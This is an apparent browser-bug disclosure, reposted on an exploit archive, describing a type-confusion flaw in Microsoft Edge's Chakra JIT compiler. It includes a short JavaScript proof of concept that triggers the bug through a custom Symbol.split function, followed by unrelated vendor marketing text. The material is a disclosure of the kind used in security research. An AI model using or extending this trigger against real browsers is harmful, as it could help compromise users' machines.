Microsoft Edge: Chakra: JIT: CallRegExSymbolFunction doesn't check the return type
The "CallRegExSymbolFunction" method is used to call symbol functions in regexp objects. But it doesn't check the return value's type. Since the user can define the symbol functions, it can break the JIT compiler's type assumptions.
Tested Microsoft Edge 41.16299.15.0 with Experimental JavaScript Features enabled.
PoC:
function opt(r) {
let arr = 'a'.split(r);
arr.x = 1;
return arr;
}
function main() {
let a = {
[Symbol.split]() {
return 0x1234;
}
};
for (let i = 0; i < 0x10000; i++) {
opt(a);
}
opt(a);
}
main();
# 0day.today [2018-03-14] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation